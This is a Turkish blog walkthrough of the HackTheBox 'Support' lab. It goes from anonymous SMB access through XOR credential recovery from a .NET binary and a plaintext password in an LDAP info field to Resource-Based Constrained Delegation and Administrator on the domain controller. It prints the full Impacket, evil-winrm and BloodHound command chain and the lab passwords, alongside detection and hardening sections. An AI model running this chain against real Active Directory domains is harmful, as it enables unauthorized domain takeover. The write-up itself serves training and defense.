Support: .NET Binary'den DC'ye

HackTheBox Support makinesinin çözüm zinciri: SMB'de gizli binary, monodis ile XOR kimlik bilgisi, LDAP info alanı şifresi ve RBCD ile DC'ye Administrator.

8 dk okuma
ibrahimsql
1.509 kelime

Support: .NET Binary'den DC'ye#

Karşımda bir Windows Active Directory Domain Controller. Açık portlar Kerberos, LDAP, SMB, WinRM. SMB'de anonim erişimle inebileceğim support-tools paylaşımı, içinde bir UserInfo.exe. Binary .NET. monodis ile IL koduna inip "armando" anahtarı ve 0xDF XOR'u görüyorum, içinden bir LDAP şifresi çıkıyor. LDAP'ı dump edince bir kullanıcının info alanına açık metin şifre yazılmış. WinRM ile user'a giriyorum, BloodHound oklarını takip edince Shared Support Accounts grubunun DC$ üzerinde GenericAll yetkisi olduğunu görüyorum. Sonu klasik: Resource-Based Constrained Delegation ile DC'de Administrator.

Keşif: Karşımda Bir DC Var#

$ nmap -sC -sV -oN nmap_initial.txt 10.129.2.5
53/tcp    domain       Simple DNS Plus
88/tcp    kerberos-sec Microsoft Windows Kerberos
135/tcp   msrpc        Microsoft Windows RPC
389/tcp   ldap         Microsoft Active Directory LDAP (Domain: support.htb)
445/tcp   microsoft-ds?
5985/tcp  http         Microsoft HTTPAPI (WinRM)

Port 88 Kerberos demek → neredeyse her zaman Domain Controller. WinRM açık → kullanıcı kimliği bulursam PowerShell ile uzaktan shell.

SMB'de Şüpheli Bir Paylaşım#

$ smbclient -L //10.129.2.5 -N
  support-tools   Disk      support staff tools

$ smbclient //10.129.2.5/support-tools -N
smb: \> get UserInfo.exe.zip

UserInfo.exe bir Mono/.NET binary:

$ file UserInfo/UserInfo.exe
UserInfo/UserInfo.exe: PE32 executable for MS Windows, Intel i386 Mono/.Net assembly

.NET Binary Tersine: monodis ve XOR Bilmecesi#

$ monodis UserInfo.exe | less

// Protected sınıfının static constructor'ında:
ldstr "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
ldstr "armando"

getPassword() metodunun pseudo-çevirisi:

data = Convert.FromBase64String(enc_password);
for (int i = 0; i < data.Length; i++) {
    V_1[i] = data[i] XOR key[i % key.Length] XOR 223;
}

Python ile çözüyorum:

>>> import base64
>>> data = base64.b64decode(enc)
>>> key = b'armando'
>>> pw = bytes([data[i] ^ key[i % len(key)] ^ 0xDF for i in range(len(data))])
>>> print(pw.decode())
nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

// ders: Bir binary'de "şifreleme" diye XOR koymak güvenlik değil, okuyana bir kahve içme zamanı tanıyor. Çözüm: credential'ı Vault/GMSA ile yönetmek.

LDAP Dumping: info Alanı'ndaki Sürpriz#

$ ldapsearch -x -H ldap://10.129.2.5 -D "support\\ldap" -w '...' -b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info

sAMAccountName: support
info: Ironside47pleasure40Watchful

Bir kullanıcının info alanına açık metin şifre yazılmış. AD'de info çoğu kullanıcı tarafından okunabilir.

WinRM ile İçeri ve user.txt#

$ evil-winrm -i 10.129.2.5 -u support -p 'Ironside47pleasure40Watchful'
*Evil-WinRM* PS C:\Users\support\Documents> type ..\Desktop\user.txt
// USER FLAG

BloodHound: Yetki Haritasını Çıkartmak#

$ bloodhound-python -u support -p '...' -d support.htb -ns 10.129.2.5 -c All --zip

"Find Shortest Paths to Domain Admins" sonucu:

SUPPORT → MemberOf → SHARED SUPPORT ACCOUNTS → GenericAll → DC$

GenericAll DC$ üzerinde → Resource-Based Constrained Delegation ile tırmanış.

RBCD Acaba Ne?#

RBCD, hangi hesap kime delegation yapabilir bilgisini hedef nesnenin msDS-AllowedToActOnBehalfOfOtherIdentity attribute'ünde saklar. Bu attribute'a kontrol ettiğim bir bilgisayar hesabını yazarsam, o hesap DC$ adına S4U2Proxy ile Administrator dahil her kullanıcıyı taklit edebilir. MachineAccountQuota=10 sayesinde normal bir domain user'ı bilgisayar hesabı açabilir.

Adım Adım Saldırı#

# 1. Sahte makine hesabı
$ python3 addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \
    -dc-host support.htb support.htb/support:'...'

# 2. DC$ attribute'ını yaz
$ python3 rbcd.py -delegate-from 'FAKE$' -delegate-to 'DC$' -action write \
    -dc-ip 10.129.2.5 support.htb/support:'...'

# 3. Administrator ticket'ı al
$ python3 getST.py -spn 'cifs/dc.support.htb' -impersonate Administrator \
    -dc-ip 10.129.2.5 'support.htb/FAKE$:FakePass123!'

# 4. Pass-the-Ticket ile komut
$ export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
$ python3 wmiexec.py -k -no-pass -dc-ip 10.129.2.5 \
    support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'
// ROOT FLAG

Saldırı Zinciri#

nmap → SMB anon → UserInfo.exe.zip → monodis XOR → LDAP şifresi → LDAP dump → support şifresi → WinRM → user.txt → BloodHound → GenericAll DC$ → RBCD (FAKE$) → S4U2Proxy → Administrator ticket → root.

Zafiyetler Tablosu#

#ZafiyetEtkiSınıf
1SMB anonim özel paylaşımHassas binary indirmeSMB Misconfiguration
2.NET binary'de hardcoded LDAP credentialXOR ile çözülen şifreInsecure Credential Storage
3LDAP info alanında açık metin şifreDomain-wide görünen şifreCredential Management
4Shared Support Accounts → GenericAll DC$DA-equivalent yetkiExcessive AD Privileges
5MachineAccountQuota=10Sahte hesap üretimiAD Default Misconfiguration

Savunma Özeti#

  • SMB anonim erişimi mümkün olduğunca kapat; özel paylaşımları hiçbir yerde şifreli binary + hardcoded credential barındırmasın.
  • .NET binary'lerine credential gömme: IL kodu herkese okunur geldiği için oyundan çek. Credential'ı oturum açma şeklinde (gMSA/Vault) ver; XOR obfuscation bir güvenlik katmanı değildir.
  • LDAP info attribute'ü: kullanıcılara şifre, token, geçici parola yazan varsa derhal temizle; anonim/limited erişimde field maskeleme uygula.
  • AD varsayılanları: MachineAccountQuota=0 yap, delegasi hakkı GenericAll yerine en küçük yetki ile ver, msDS-AllowedToActOnBehalfOfOtherIdentity attribute'ünü gerçekten gerekmedikçe boş bırak. BloodHound ile kendi domain'ini tarayıp aşırı hak zincirini periyodik olarak temizle.

// RAPOR SONU Etiketler: HTB / AD / .NET RE / LDAP / RBCD / S4U2Proxy

Güven Sınırı#

anonim SMB --> support-tools paylaşımı --> UserInfo.exe (.NET) | v monodis -> XOR -> LDAP şifresi | v LDAP dump -> info alanı şifresi | v WinRM --> BloodHound --> RBCD --> DC

İlk sınır anonim SMB erişimi, ikinci sınır .NET binary içindeki zayıf XOR, üçüncü sınır LDAP info alanının görünürlüğü, dördüncü sınır AD'deki aşırı delegasyon hakkı. Her sınır inceltilmiş olsaydı DC'ye ulaşılmazdı.

Tespit#

  • info alanında düz metin şifre bulunması: LDAP attribute'lerinde düzenli tarama ile çıkar.
  • MachineAccountQuota'nın 10 olması: varsayılan AD yapılandırması; 0'a indirilmesi gerekir.
  • GenericAll DC$ üzerinde: BloodHound ile periyodik tarama, aşırı hak zincirlerini görünür kılar.
  • SMB anonim paylaşım: ağ taraması ve paylaşım denetimi.

Sınırlılıklar#

  • XOR + sabit anahtar, .NET binary'sinde her zaman çözülebilir; ufukta güvenlik sınırı yoktur.
  • RBCD zinciri, MachineAccountQuota=0 ve GenericAll kısıtıyla tamamen kapanır; sadece parola değişimi yetmez.
  • Lab makinesi senaryosu: gerçek ortamda LDAP info alanına erişim domain user ile sınırlı olabilir ve anonim dump engellenebilir.

Cikarilar#

  • Binary içindeki XOR "şifreleme" değildir.
  • LDAP info attribute'ü parola taşımaz.
  • MachineAccountQuota varsayılanı değiştirilmeden AD sertleşmez.
  • GenericAll DC$ üzerinde DA-eşdeğeri yetkidir.
  • Şifre yönetimi için GMSA veya vault kullan.

Monodis Çıktısından Parolaya#

IL kodunda armando anahtarı ve 0xDF baytı görüldüğünde çözüm tek satır:

data = base64.b64decode(enc) key = b'armando' pw = bytes(d ^ key[i % len(key)] ^ 0xDF for i, d in enumerate(data)) print(pw.decode())

Bu çıktı, defender için de tarama girdisidir: binary'lerde XOR, base64 ve sabit string yan yanaysa şüphe yükselir. Statik analiz otomasyonu bu kalıbı yakalayabilir.

LDAP Dump Satırı#

ldapsearch -x -H ldap://10.129.2.5 -D 'support\\ldap' -w '...' \ -b 'DC=support,DC=htb' '(objectClass=user)' sAMAccountName info

info alanı, kullanıcı tarafından girilen notları taşır ve çoğu domain user tarafından okunabilir. Düzeltici kural basit: parola, token, geçici parola bu alana yazılmaz.

BloodHound Okları#

bloodhound-python -u support -p '...' -d support.htb -ns 10.129.2.5 -c All --zip

Shortest path: SUPPORT -> SHARED SUPPORT ACCOUNTS -> GenericAll -> DC$. Bu zincir, RBCD'nin devreye girmesi için yeterliydi. Defansif tarafta aynı okları kendin çekip ortadan kaldırmak gerekir.

RBCD Tek Cümleyle#

Hedef makinenin msDS-AllowedToActOnBehalfOfOtherIdentity attribute'üne kontrolündeki bir bilgisayar hesabını yazmak, o hesabın DC adına S4U2Proxy ile Administrator dahil her kullanıcıyı taklit edebilmesini sağlar. MachineAccountQuota ile sahte hesap açılabildiği için zincir kapanır.

Saldırı Adımları#

python3 addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \ -dc-host support.htb support.htb/support:'...' python3 rbcd.py -delegate-from 'FAKE$' -delegate-to 'DC$' -action write \ -dc-ip 10.129.2.5 support.htb/support:'...' python3 getST.py -spn 'cifs/dc.support.htb' -impersonate Administrator \ -dc-ip 10.129.2.5 'support.htb/FAKE$:FakePass123!' export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache python3 wmiexec.py -k -no-pass -dc-ip 10.129.2.5 \ support.htb/Administrator@dc.support.htb 'type C:\Users\Administrator\Desktop\root.txt'

Log Kaynakları#

  • LDAP sorgu logları: info alanına yapılan toplu okumalar.
  • SMB erişim logları: anonim açılan support-tools.
  • Kerberos: S4U2Proxy bilet istekleri.
  • AD değişiklik logları: msDS-AllowedToActOnBehalfOfOtherIdentity yazımları.

Bu dört kaynak, zincirin her halkasını görünür kılar. Defansif izleme bu logları bir araya getirmeden RBCD denemelerini yakalayamaz.

Savunma Kontrol Listesi#

  • SMB anonim erişimi kapalı
  • info attribute'ünde sır yok
  • MachineAccountQuota 0
  • msDS-AllowedToActOnBehalfOfOtherIdentity gereksiz yere dolu değil
  • GenericAll DC$ üzerinde yok
  • .NET binary'lerinde GMSA/vault kullanılıyor, XOR yok

Sıralama Notları#

Zinciri kıran faktör, tek bir zafiyet değildi: anonim SMB paylaşımı binary'i verdi, binary XOR'u çözdürdü, LDAP info alanı parolayı verdi, BloodHound zinciri RBCD'ye bağladı. Her biri tek satırlık konfigürasyonla kapanırdı.

Özet#

Support makinesi, .NET RE, LDAP attribute okuma ve AD delegasyon hatlarının üst üste geldiği bir örnek. Her halkada hem exploit komutu hem de savunma düzeltmesi var. Makineyi kök alan zincir, defender'ın periyodik BloodHound taramasıyla önleyici olarak görülebilirdi.

Bu tablo, defender için doğrudan iş listesidir: her satır bir konfigürasyon maddesi.

RBCD bilet istekleri Kerberos loglarında S4U2Proxy olarak görünür, alert kuralı tek satırdır.

Komut Özeti#

ldapsearch ... # info alanı parola evil-winrm ... # user.txt bloodhound-python ... -c All --zip addcomputer.py / rbcd.py / getST.py / wmiexec.py

Bu beş adımlık zincir, AD sertleştirme listesini doğrudan test eder. Her komutun karşılığında bir log kaynağı ve bir konfigürasyon düzeltmesi vardır.

Makine tamamen bir konfigürasyon hatası zinciri; exploit kodu bile gerekmeden tespit edilebilirdi.

Savunma da aynı yüzeyde: paylaşım, attribute, quota, delegasyon, binary.

Zincirin her halkası, tek satırlık audit ile görünür olur.

Tespit edilmeyen tek şey, taranmayan olandır.

Kaynak Notları#

  • SMB anon paylaşımından .zip binary indirildi.
  • monodis + XOR ile LDAP parolası çıkarıldı.
  • info alanından ikinci parola bulundu.
  • BloodHound ile RBCD zinciri kuruldu.
---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar